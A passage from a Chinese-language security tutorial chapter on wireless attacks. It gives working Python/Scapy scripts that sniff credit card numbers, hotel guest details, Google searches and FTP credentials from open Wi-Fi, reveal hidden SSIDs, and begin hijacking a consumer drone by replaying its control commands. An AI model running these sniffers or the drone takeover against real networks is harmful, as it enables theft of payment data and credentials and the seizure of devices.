# 第五章 無線攻擊
本章內容:
1. 嗅探無線網絡的私人信息
2. 監聽請求網絡和識別隱藏的無線網絡
3. 控制無線無人機
4. 確認Firesheep的使用
5. 潛入藍牙設備
6. 利用藍牙漏洞進行滲透
> 知識的增長并不是和樹一樣,種植一棵樹,你只要把它放進地里,蓋上點土,定期為他澆水就行。知識的增長卻伴隨著時間,工作和長期的努力。除此之外,不能用任何手段獲得知識。
> —美國拳擊頂級大師,Ed Parker
## 簡介:無線安全和冰人
2007年5月,美國特勤局逮捕了一名無線黑客Max Ray Butler,也被稱為冰人。Mr. Butler通過一個網站銷售了成千上萬的信用卡賬戶信息。但是他是怎樣收集這些私人信息的?嗅探未加密的無線網絡連接被證明是他獲取信用卡賬戶信息的方法之一。它使用假身份租用酒店房間和公寓,然后使用大功率的天線攔截酒店和附近公寓的無線接入點的通訊,以捕捉客人的私人信息。很多時候,媒體專家分類這種攻擊為“精細的和復雜的”。這樣的描述是危險的,因為我們可以用短的Python腳本來執行這種攻擊。正如下面章節您將看到的,我們可以用不到25行代碼嗅探信用卡賬戶信息,但是在開始之前,我們應確保我們的環境設置正確。
## 設置你的無線攻擊環境
在下面的章節中,我們將編寫代碼嗅探無線網絡流量并發送802.11數據幀。我們將使用一個增益Hi-Gain USB無線網絡適配器和網絡放大器來創建和測試本章腳本。在BackTrack5中的默認網卡驅動允許用戶進入混雜模式并發送原始數據幀。此外,它還包含一個外部天線連接,能夠讓我們附加大功率天線。
## 用Scapy測試捕獲無線網絡
將無線網卡設置到混雜模式,我們使用`aircrack-ng`工具套件,使用`iwconfig`命令列出我們的無線網絡適配器。接下來,我們運行命令`airmon-ng start wlan0`開啟混雜模式。這將創建一個新的mon0適配器。
```
attacker# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
attacker# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)
```
讓我們快速測試,我們可以捕獲無線網絡流量在將網卡設置為混雜模式之后。注意,我們設置新創建的監控接口mon0到我們的`conf.iface`。監聽到每個數據包,腳本將運行`ptkPrint()`函數。如果數據包包含802.11標識,802.11響應,TCP數據包或DNS流量程序將打印一個消息。
```
from scapy.all import *
def pktPrint(pkt):
if pkt.haslayer(Dot11Beacon):
print('[+] Detected 802.11 Beacon Frame')
elif pkt.haslayer(Dot11ProbeReq):
print('[+] Detected 802.11 Probe Request Frame')
elif pkt.haslayer(TCP):
print('[+] Detected a TCP Packet')
elif pkt.haslayer(DNS):
print('[+] Detected a DNS Packet')
conf.iface = 'mon0'
sniff(prn=pktPrint)
```
運行腳本后,我們可以看到一些流量。發現的流量包括802.11尋找網絡的探測請求,802.11指示幀流量,和DNS,TCP數據包。從這一點上我們看到我們的網卡工作了。
## 安裝Python的藍牙包
在本章我們將覆蓋一些藍牙攻擊。為了編寫Python的藍牙腳本,我們將利用Python綁定到LInux `Bluez`的應用程序接口和`obexftp` API。使用`apt-get install`來安裝。
```
attacker# sudo apt-get install python-bluez bluetooth python-obexftp
Reading package lists... Done
Building dependency tree
Reading state information... Done
<..SNIPPED..>
Unpacking bluetooth (from .../bluetooth_4.60-0ubuntu8_all.deb)
Selecting previously deselected package python-bluez.
Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb)
Setting up bluetooth (4.60-0ubuntu8) ...
Setting up python-bluez (0.18-1) ...
Processing triggers for python-central .
```
此外,我們必須獲取一個藍牙設備。最新的Cambridge Silicon Radio (CSR)芯片組在LInux下工作的很好。本章節中的腳本,我們將使用SENA Parani UD100 USB藍牙適配器,為了測試操作系統是否識別該設備,運行`hciconfig`配置命令,這將打印出藍牙設備的詳細信息。
```
attacker# hciconfig
hci0: Type: BR/EDR Bus: USB
BD Address: 00:40:12:01:01:00 ACL MTU: 8192:128
UP RUNNING PSCAN
RX bytes:801 acl:0 sco:0 events:32 errors:0
TX bytes:400 acl:0 sco:0 commands:32 errors:0
```
在本章中,我們將偽造和截取藍牙幀。我會在后面的章節中在此提到,但是知道BackTrack5 r1中有一個小錯誤,它缺乏一個重要的內核模塊發送原始的藍牙數據包,因為這個原因,你必須升級你的系統或內核到BackTrack5 r2。
下面的章節將很精彩。我們將嗅探應用卡信息,用戶證書,遠程操縱無人機,辨認無線黑客,追蹤并滲透藍牙設備。請經常檢查有關監聽無線網絡和藍牙的法律信息。
## 綿羊墻---被動的監聽無線網絡的秘密
自從2011年,綿羊墻已經成為了DEFCON安全會議的一部分了。被動的,團隊監聽用戶登陸的郵件,網站或者其他的網絡服務,而沒有任何的保護和加密。當團隊檢測到任何的憑證,他們將把憑證顯示道會議樓的大屏幕上。近年來團隊增加了一個項目叫Peekaboo,顯示出無線通訊流量的圖像。盡管是善意的,團隊很好的演示了黑客是怎樣捕獲到相同的信息的。在下面的章節中,我們將創建幾個攻擊從空氣中偷有趣的信息。
## 使用Python的正則表達式嗅探信用卡
在嗅探無線網絡的信用卡信息之前,快速的回顧正則表達式是很有用的。正則表達式提供了匹配特定文本中的字符串的方法。Python提供了關于正則表達式的模塊(`re`)。
(正則表達式具體規則略)
攻擊者可以使用正則表達式來匹配信用卡號碼。為了簡化我們的腳本,我們將使用三大信用卡:Visa, MasterCard, 和American Express。如果你想了解更多的關于編寫信用卡的正則表達式的知識,可以訪問包含其他廠商的占則表達式的網站: http://www.regular-expressions.info/creditcard.html 。美國運通信用卡以34或者37開頭共15位數字。讓我們編寫一個小函數檢查字符串確認它是否包含美國運通信用卡號。如果包含,我們將打印該信息在屏幕上,注意下面的正則表達式,它確保信用卡必須以3開頭,后面跟隨著4或者7,接下來正則表達式匹配13位數字確保共15位長。
```
import re
def findCreditCard(raw):
americaRE= re.findall("3[47][0-9]{13}", raw)
if americaRE:
print("[+] Found American Express Card: "+americaRE[0])
def main():
tests = []
tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \$2600')
for test in tests:
findCreditCard(test)
if __name__ == "__main__":
main()
```
運行我們的測試程序,我們看到它正確的找到了信用卡號碼。
```
attacher$ python americanExpressTest.py
[+] Found American Express Card: 378282246310005
```
現在,探究正則表達式必須找到MasterCards和Visa的信用卡號。MasterCards的信用卡號以51或者55開頭共16位數。Visa的信用卡號以4開頭,并且13位或者16位數字。讓我們擴展我們的函數找到MasterCard和Visa信用卡號。注意,MasterCard信用卡號正則表達式匹配5后面跟著1或者5接著14位共16位。Visa正則表達式以4開頭后面跟著12更多的數,我們將在接受0或者3位數來確保13位或者16位數。
```
def findCreditCard(pkt):
raw = pkt.sprintf('%Raw.load%')
americaRE = re.findall('3[47][0-9]{13}', raw)
masterRE = re.findall('5[1-5][0-9]{14}', raw)
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
if americaRE:
print('[+] Found American Express Card: ' + americaRE[0])
if masterRE:
print('[+] Found MasterCard Card: ' + masterRE[0])
if visaRE:
print('[+] Found Visa Card: ' + visaRE[0])
```
現在我們必須從嗅探到的無線數據包中匹配正則表達式。請記住我們使用混雜模式嗅探的目的,因為它允許我們觀察不管是不是給我們的數據包。為了解析我們截獲的無線數據包,我們使用`Scapy`庫。注意,我們使用`sniff()`函數,`sniff()`函數將每一個經過的數據包作為參數傳給`findCreditCard()`函數。不到25行的Python代碼,我們創建了一個偷取信用卡信息的小程序。
```
# coding=UTF-8
import re
import optparse
from scapy.all import *
def findCreditCard(pkt):
raw = pkt.sprintf('%Raw.load%')
americaRE = re.findall('3[47][0-9]{13}', raw)
masterRE = re.findall('5[1-5][0-9]{14}', raw)
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
if americaRE:
print('[+] Found American Express Card: ' + americaRE[0])
if masterRE:
print('[+] Found MasterCard Card: ' + masterRE[0])
if visaRE:
print('[+] Found Visa Card: ' + visaRE[0])
def main():
parser = optparse.OptionParser('usage % prog -i<interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
print('[*] Starting Credit Card Sniffer.')
sniff(filter='tcp', prn=findCreditCard, store=0)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()
```
顯然,我們不打算盜取任何人的信用卡數據。事實上,這個攻擊的無線黑客小偷被關了20年。但是希望你意識到這種攻擊相對比較交單沒有一般人為的那么復雜。在下一節中,我們將演示一個單獨的情景,我們將攻擊一個未加密的無線網絡并盜取私人信息。
## 嗅探旅館客人
大多數旅館提供公開的無線網絡。通常這些網絡沒有加密也缺乏任何企業忍著或者加密控制。本節將驗證,及行Python代碼就能滲透利用這個情況,導致災難性的公共信息泄露。
最近,我呆在一家提供無線連接的旅館當客人。當連接到無線網絡之后,我的瀏覽器指向一個網頁要求登陸這個網絡。網絡憑證包含我的姓名和房間號,提供此信息后,我的瀏覽器發布了一個未加密的HTTP頁面返回到服務器接受認證cookie。檢查這個初始的HTTP提交,顯示了一些有趣的東西。
我注意到一個字符串`PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_NUMBER=1337`。
明文傳輸到旅館服務器的包含我的姓名和房間號碼。服務器沒有試圖保護這些信息,我的瀏覽器簡單的發送這些透明的信息。對于這個特殊的酒店,客戶的姓名和房間號被用來點餐,按摩服務甚至是購買禮品,所以你可以想到酒店的客戶不想黑客得到他們的私人信息。
```
POST /common_ip_cgi/hn_seachange.cgi HTTP/1.1
Host: 10.10.13.37
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1)
AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3
Content-Length: 128
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Origin:http://10.10.10.1
DNT: 1
Referer:http://10.10.10.1/common_ip_cgi/hn_seachange.cgi
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive
SESSION_ID= deadbeef123456789abcdef1234567890 &RETURN_
MODE=4&VALIDATION_FLAG=1&PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_
NUMBER=1337
```
我們現在可以使用Python從酒店用戶哪里捕獲信息。開始是一個很簡單的Python嗅探器。首先,我們將確認我們捕獲流量的接口,接著,我們用`sniff()`函數嗅探監聽流量,注意這個函數過濾,只監聽TCP流量數據包,我們將函數命令為`findGuest()`。
```
conf.iface = "mon0"
try:
print "[*] Starting Hotel Guest Sniffer."
sniff(filter="tcp", prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0)
```
當`findGuest`函數接收到數據包,它將確認攔截的數據包是否包含任何私人信息。首先它復制原始數據到變量raw中,然后我們建立一個正則表達式來解析姓名和客人的房間號碼。注意我們的正則表達式接受任何以`LAST_NAME`開始的字符串,和一個終止符號`&`。正則表達式為了酒店號碼捕獲任何以`ROOM_NUMBER`開頭的字符串。
```
def findGuest(pkt):
raw = pkt.sprintf("%Raw.load%")
name=re.findall("(?i)LAST_NAME=(.*)&",raw)
room=re.findall("(?i)ROOM_NUMBER=(.*)'",raw)
if name:
print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0]))
```
將所有的放在一起,我們現在有一個無線網絡嗅探器捕獲任何連接到這個酒店無線網絡上的客戶的姓名和房間號。請注意,為了有嗅探流量和分析數據包的能力,我們需要導入`Scapy`庫。
```
# coding=UTF-8
import optparse
from scapy.all import *
def findGuest(pkt):
raw = pkt.sprintf("%Raw.load%")
name=re.findall("(?i)LAST_NAME=(.*)&",raw)
room=re.findall("(?i)ROOM_NUMBER=(.*)'",raw)
if name:
print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0]))
def main():
parser = optparse.OptionParser('usage %prog -i<interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print(parser.usage)
exit(0)
else:
conf.iface = options.interface
try:
print('[*] Starting Hotel Guest Sniffer.')
sniff(filter='tcp', prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()
```
運行我們的酒店嗅探程序,我們可以看到黑客是怎樣確認酒店住了那些人的。
```
attacker# python hotelSniff.py -i wlan0
[*] Starting Hotel Guest Sniffer.
[+] Found Hotel Guest MOORE, Room #1337
[+] Found Hotel Guest VASKOVICH, Room #1984
[+] Found Hotel Guest BAGGETT, Room #43434343
```
我應該有足夠的強調,收集個人信息已經違反了一些州,國家的法律。在下一節,我們將進一步擴大我們嗅探無線網絡的能力,通過解析Google搜索。
## 構建Google無線搜索記錄器
你可能注意到Google搜索引擎提供接近即時的反饋,當你在搜索框中輸入時。取決于你連接網絡的速度,你的瀏覽器會發送一個HTTP GET請求幾乎在你每輸入一個字符到搜索框中時。檢查下面到Google的HTTP GET請求,當我搜索字符串`"what is the meaning of life?"`時,請注意,搜索以`q=`我的字符串開始,然后以`&`結束`pq=`跟著以前的搜索。
```
GET
/s?hl=en&cp=27&gs_id=58&xhr=t&q=what%20is%20the%20meaning%20of%20life&pq=the+number+42&<..SNIPPED..> HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)
AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1
Safari/534.51.22
<..SNIPPED..>
q= Query, what was typed in the search box
pq= Previous query, the query prior to the current search
hl= Language, default en[glish] defaults, but try xx-hacker for fun
as_epq= Exact phrase
as_filetype= File format, restrict to a specific file type such as .zip
as_sitesearch= Restrict to a specific site such as www.2600.com
```
有了Google搜索引擎的知識在手,讓我們快速構建一個無線數據包嗅探器,實時打印我們攔截到的他們搜索的東西。這一次我們將使用函數`findGoogle()`處理嗅探的數據包。這里我們將復制數據包的內容數據到`payload`變量,如果這個`payload`包含HTTP GET我們就能構建一個正則表達式找到當前Google的搜索字符串。最后我們將清除結果字符串,HTTP URL不能包含任何空格字符。為了避免這個問題,我們的瀏覽器將編碼空格為+或者%20,在URL中。為了正確的轉換這些信息,我們必須解碼任何`+`或者`%20`為空格。
```
def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if 'GET' in payload:
if 'google' in payload:
r = re.findall(r'(?i)\&q=(.*?)\&', payload)
if r:
search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ')
print('[+] Searched For: ' + search)
```
將我們整個Google嗅探器的腳本放在一起,我們現在可以看到他們搜索過的Google內容。請注意,我們現在可以使用`sniff()`函數過濾只要TCP 80端口的流量。雖然Google提供發送在443端口HTTPS的流量的能力,捕獲這個流量事沒有用的,因為是加密的。因此我們只捕獲80端口的HTTP流量。
```
# coding=UTF-8
import optparse
from scapy.all import *
def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if 'GET' in payload:
if 'google' in payload:
r = re.findall(r'(?i)\&q=(.*?)\&', payload)
if r:
search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ')
print('[+] Searched For: ' + search)
def main():
parser = optparse.OptionParser('usage %prog -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
try:
conf.iface = options.interface
print('[*] Starting Google Sniffer.')
sniff(filter='tcp port 80', prn=findGoogle)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()
```
在使用未加密的網絡連接中運行我們的腳本,我們可以看到別人的搜索內容。攔截Google流量可能有點令人為難,下一節,攔截用戶的憑據的手段更加能證明一個組織的安全局勢。
```
attacker# python googleSniff.py -i mon0
[*] Starting Google Sniffer.
[+] W
[+] What
[+] What is
[+] What is the mean
[+] What is the meaning of life?
```
## Google URL搜索參數
Google URL搜索參數提供了許多有價值的
額外信息,這些信息對建立你的Google搜索記錄器很有用。解析出的查詢,先前查詢,語言,特定的短語搜索文本類型或者受限制的站點都可以添加到我們的記錄器。更多信息請到: http://www.google.com/cse/docs/resultsxml.html
## 嗅探FTP認證
FTP協議缺乏任何的加密算法來保護用戶認證。黑客能輕松的攔截這些任何當受害者在這種為加密的網絡。看下面的`tcpdump`顯示我們攔截的用戶憑證。FTP協議通過明文交換憑證。
```
attacker# tcpdump -A -i mon0 'tcp port 21'
E..(..@.@.q..._...........R.=.|.P.9.....
20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 1:17, ack 63, win 14600, length 16
E..8..@.@.q..._...........R.=.|.P.9.....USER root
20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [.], ack 112, win 14600, length 0
E..(..@.@.q..._...........R.=.|.P.9.....
20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 17:33, ack 112, win 14600, length 16
E..8..@.@.q..._...........R.=.|.P.9.....PASS secret
```
為了攔截這些憑證,我們尋找兩個特殊的字符串。第一個字符串包含USER接著就是用戶名,第二個字符串是PASS接著就是密碼。我們在`tcpdump`的數據中看到這些憑證。我們將設計兩個正則表達式來捕獲這些信息。我們也將從數據包中剝離IP地址。不知道服務器的IP地址用戶名和密碼是毫無價值的。
```
from scapy.all import *
def ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%Raw.load%')
user = re.findall('(?i)USER (.*)', raw)
pswd = re.findall('(?i)PASS (.*)', raw)
if user:
print('[*] Detected FTP Login to ' + str(dest))
print('[+] User account: ' + str(user[0]))
elif pswd:
print('[+] Password: ' + str(pswd[0]))
```
將所有的腳本放在一起,我們只嗅探21端口的TCP流量。我們還添加一些選項來選擇嗅探器使用的網絡適配器。運行這個腳本允許我們攔截FTP登陸憑證。
```
# coding=UTF-8
import optparse
from scapy.all import *
def ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%Raw.load%')
user = re.findall('(?i)USER (.*)', raw)
pswd = re.findall('(?i)PASS (.*)', raw)
if user:
print('[*] Detected FTP Login to ' + str(dest))
print('[+] User account: ' + str(user[0]))
elif pswd:
print('[+] Password: ' + str(pswd[0]))
def main():
parser = optparse.OptionParser('usage %prog -i<interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
sniff(filter='tcp port 21', prn=ftpSniff)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()
```
運行我們的腳本,我們檢測到一個登陸的FTP服務器,并顯示用戶的憑證和登陸的服務器。我們現在有一個少于30行Python代碼的FTP憑證嗅探器。當用戶的證書可以為我們提供對網絡的訪問,在下一節中,我們將使用無線監聽探測用戶的歷史記錄。
```
attacker:~# python ftp-sniff.py -i mon0
[*] Detected FTP Login to 192.168.211.1
[+] User account: root\r\n
[+] Password: secret\r\n
```
# 你的筆記本去過哪?Python解答
幾年前我教了一個無無線安全的課程,為了讓學生聽講我關閉了房間里的無線網絡,也是為了防止他們攻擊任何的受害者。我以無線網絡掃描的演示作為課程的開始,發現了一些有趣的東西,在房間里探測到幾個客戶端試圖連接的首選網絡。一個特別的學生剛從洛杉磯回來,他的電腦探測到 LAX_Wireless 和 Hooters_WiFi ,我開了一個玩笑,問學生在Hooters Restaurant的停留是否滿意。他很驚訝,我怎么知道這些信息?監聽802.11探測請求!
為了提供一個無縫的連接,你的電腦和手機經常保持一個首選的網絡列表,其中包括你先前成功連接過的無線網絡名稱。當你的電腦開機或者網絡斷開后,你的電腦經常發送802.11探測請求搜索列表中的每一個網絡名稱。
讓我們快速的編寫一個檢測802.11網絡請求的工具。在這個例子中,我們稱呼我們處理數據包的函數為`sniffProbe()`。注意,我們將整理出802.11探測請求通過檢測數據包是否`haslayer(Dot11ProbeReq)`。如果請求包含新的網絡名稱我們將打印他們在屏幕上。
```
from scapy.all import *
interface = 'mon0'
probeReqs = []
def sniffProbe(p):
if p.haslayer(Dot11ProbeReq):
netName = p.getlayer(Dot11ProbeReq).info
if netName not in probeReqs:
probeReqs.append(netName)
print('[+] Detected New Probe Request: ' + netName)
sniff(iface=interface, prn=sniffProbe)
```
現在我們可以運行我們的腳本看看來自附近電腦或者手機的探測請求。這允許我們看到客戶機的首選網絡列表。
```
attacker:~# python sniffProbes.py
[+] Detected New Probe Request: LAX_Wireless
[+] Detected New Probe Request: Hooters_WiFi
[+] Detected New Probe Request: Phase_2_Consulting
[+] Detected New Probe Request: McDougall_Pizza
```
# 找到隱藏的802.11網絡標識
雖然大多數網絡公開他們的網絡名稱(SSID),一些無線網絡還是使用隱藏的SSID防止他們的網絡名稱別發現。802.11標識幀中的字段通常包含網絡名稱。在隱藏的網絡中,接入點的這個字段為空白,檢測一個隱藏的網絡時相當容易的。但是我們只能搜索到空白字段的802.11標識幀。在下面的例子中,我們將尋找這些幀并打印出這些接入點的MAC地址。
```
def sniffDot11(p):
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == '':
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print('[-] Detected Hidden SSID: with MAC:' + addr2)
```
## 沒有隱藏的802.11網絡
當接入點離開斷開隱藏的網絡,它將發送名稱在探測響應中。一個探測響應通常發生在客戶端發送的探測請求。為了發現隱藏的名字,我們必須等待一個探測響應匹配我們802.11標識幀中的MAC地址。我們將兩個小的數組加到我們的Python腳本一起使用。首先,`hiddenNets`,跟蹤我們看到的隱藏網絡的MAC地址。第二,`unhiddenNets`,追蹤已經公開的網絡,當檢測到一個空名稱的802.11標識幀時,我們將他家到我們的隱藏網絡數組。當我們檢測到802.11探測響應時,我們將抽取網絡名稱。我們可以檢查`hiddenNets`數組看看是否包含這些值,確保`unhiddenNets`不包含這些值。如果情況屬實,我們可以解析網絡名稱并打印在屏幕上。
```
# coding=UTF-8
import sys
from scapy.all import *
interface = 'mon0'
hiddenNets = []
unhiddenNets = []
def sniffDot11(p):
if p.haslayer(Dot11ProbeResp):
addr2 = p.getlayer(Dot11).addr2
if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):
netName = p.getlayer(Dot11ProbeResp).info
print '[+] Decloaked Hidden SSID: ' + netName + ' for MAC: ' + addr2
unhiddenNets.append(addr2)
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == '':
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print '[-] Detected Hidden SSID: ' + 'with MAC:' + addr2
hiddenNets.append(addr2)
sniff(iface=interface, prn=sniffDot11)
```
運行我們的腳本,它正確的識別了一些隱藏的網絡和公開的網絡,不到30行代碼,他令人興奮了!在下一節中,我們將轉換積極的無線攻擊,換就話說就是偽造數據包接管無人機。
```
attacker:~# python sniffHidden.py
[-] Detected Hidden SSID with MAC: 00:DE:AD:BE:EF:01
[+] Decloaked Hidden SSID: Secret-Net for MAC: 00:DE:AD:BE:EF:01
```
## 用Python攔截和監視無人機
在2009年的夏天,美軍在伊拉克注意到一些有趣的事。當美軍收集叛亂者的筆記本時,美軍發現他們的電腦上有美軍的無人機視頻。筆記本顯示美軍的無人機被叛亂者劫持了數百個小時。經過進一步的調查,情報人員發現叛亂者使用價值26美元的軟件SkyGrabber攔截了無人機。更令他們驚訝的是,空軍的無人機程序發送到地面控制中心的視頻沒有加密。SkyGrabber軟件通常用來攔截未加密的衛星電視數據。甚至不需要任何配置就可以攔截美軍無人機視頻。
攻擊美軍的無人機違反了美國的愛國者法案,所以讓我們找一些不違法的目標攻擊。Parrot Ar.Drone的無人機是一個良好的目標,一個開源的基于Linux的無人機,它允許iPhone/Ipad應用程序通過未加密的WIFI控制無人機。價格300美元,一個業余愛好者可以從 http://ardrone.parrot.com/ 購買無人機。用我們已經知道的工具,我們可以控制我們的目標無人機。
## 攔截流量,檢測協議
讓我們先了解無人機和iPhone如何通訊。將無線適配器設置到混雜模式,我們要學習無人機和iPhone之間如何通過WIFI網絡建立連接。閱讀無人機知道之后,我們知道MAC過濾是唯一保護連接的安全機制。只有配對的iPhone才能對無人機發送指令。為了接管無人機,我們需要學習指令的協議,然后重新發送這些指令。
首先,我們將我們的無線適配器設置為混雜模式監聽流量,一個快速的`tcpdump`顯示流量來自無人機和iPhone的UDP 5555端口。快速分析后,我們可以推測這流量包含了無人機視頻下載,因為有大量的數據朝同一方向。相反,導航命令似乎從直接從iPhone的UDP 5556端口發送。
```
attacker# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)
attacker# tcpdump-nn-i mon0
16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit 14]
IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106
16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit 14]
IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64
16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit 14]
IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824
```
知道iPhone通過UDP 5556端口發送指令控制無人機,我們建立一個小的Python腳本來解析導航命令。請注意,我們的腳本打印原始的UDP 5556的導航數據。
```
from scapy.all import *
NAVPORT = 5556
def printPkt(pkt):
if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
raw = pkt.sprintf('%Raw.load%')
print raw
conf.iface = 'mon0'
sniff(prn=printPkt)
```
運行這個腳本給我們看看無人機的指令協議。我們看到協議使用的語法是:`AT*CMD*=SEQUENCE_NUMBER,VALUE,[VALUE{3}]`。記錄很長時間的流量,我們學會了三個簡單的指令,這將會被我們的攻擊所利用。命令`AT*REF=$SEQ,290717696\r`是發送無人家降落的命令。其次,命令`AT*REF=$SEQ,290717952\r`發送一個緊急降落的命令,立即切斷引擎。命令`AT*REF=SEQ, 290718208\r`發送給無人機一個起飛指令。最后,我們可以用命令`AT*PCMD=SEQ, Left_Right_Tilt, Front_Back_Tilt, Vertical_Speed,Angular_Speed\r`來控制無人機。我們現在知道足夠的指令來攻擊無人機了。
```
attacker# python uav-sniff.py
'AT*REF=11543,290718208\r'
'AT*PCMD=11542,1,-1364309249,988654145,1065353216,0\r'
'AT*REF=11543,290718208\r'
'AT*PCMD=11544,1,-1358634437,993342234,1065353216,0\rAT*PCMD=11545,1
1355121202,998132864,1065353216,0\r'
'AT*REF=11546,290718208\r'
<..SNIPPED..>
```
我們開始創建一個Python類`interceptThread`,這個類用于儲存我們攻擊的字段。這些字段包含在剛才截獲的數據包里,具體的無人機序列號,和最后一個描述無人機流量是否被截獲的布爾值。初始化這些字段后,我們將創建兩個函數`run()`和`interceptPkt()`,`run()`函數開始嗅探過濾的5556 UDP流量,并觸發`interceptPkt()`函數,當攔截到無人機流量,布爾值變為真,接下來,它將從當前記錄的無人機控制流量中玻璃序列號。
```
class interceptThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter='udp port 5556')
def interceptPkt(self, pkt):
if self.foundUAV == False:
print('[*] UAV Found.')
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf('%Raw.load%')
try:
self.seq = int(raw.split(',')[0].split('=')[-1]) + 5
except:
self.seq = 0
```
## 用Scapy制作802.11數據幀
接下來,我們要制作一個包含無人機指令的新的數據包。然而,為了做到這一點,我們需要共當前的數據幀中復制一些必要的信息。因為數據包包含RadioTap, 802.11, SNAP, LLC, IP, and UDP層,我們需要從各個層中復制字段。`Scapy`對每一層都有很好的支持,例如,看看Dot11層,我們開始`Scapy`然后執行`ls(Dot11)`命令,我們會看到我們需要復制到我們偽造的數據包中的字段。
```
attacker# scapy
Welcome to Scapy (2.1.0)
>>>ls(Dot11)
subtype : BitField = (0)
type : BitEnumField = (0)
proto : BitField = (0)
FCfield : FlagsField = (0)
ID : ShortField = (0)
addr1 : MACField = ('00:00:00:00:00:00')
addr2 : Dot11Addr2MACField = ('00:00:00:00:00:00')
addr3 : Dot11Addr3MACField = ('00:00:00:00:00:00')
SC : Dot11SCField = (0)
addr4 : Dot11Addr4MACField = ('00:00:00:00:00:00')
```
我們建立我們的新的數據包,復制RadioTap, 802.11, SNAP, LLC, IP 和UDP的沒一層的協議。注意,我們在每一層里拋棄一些字段,比如,我們不用復制IP地址字段。我們的命令可能包含不同長度的大小,我們可以讓`Scapy`自動的計算生成數據包,同樣,對于一些校驗值也是一樣。有了這些知識在手,我們現在可以繼續我們的無人機攻擊了。我們將腳本保存為`dup.py`,因為它復制了太多的802.11數據幀的字段。
```
from scapy.all import *
def dupRadio(pkt):
rPkt=pkt.getlayer(RadioTap)
version=rPkt.version
pad=rPkt.pad
present=rPkt.present
notdecoded=rPkt.notdecoded
nPkt = RadioTap(version=version, pad=pad, present=present, notdecoded=notdecoded)
return nPk
def dupDot11(pkt):
dPkt=pkt.getlayer(Dot11)
subtype=dPkt.subtype
Type=dPkt.type
proto=dPkt.proto
FCfield=dPkt.FCfield
ID=dPkt.ID
addr1=dPkt.addr1
addr2=dPkt.addr2
addr3=dPkt.addr3
SC=dPkt.SC
addr4=dPkt.addr4
nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4)
return nPkt
def dupSNAP(pkt):
sPkt=pkt.getlayer(SNAP)
oui=sPkt.OUI
code=sPkt.code
nPkt=SNAP(OUI=oui,code=code)
return nPkt
def dupLLC(pkt):
lPkt=pkt.getlayer(LLC)
dsap=lPkt.dsap
ssap=lPkt.ssap
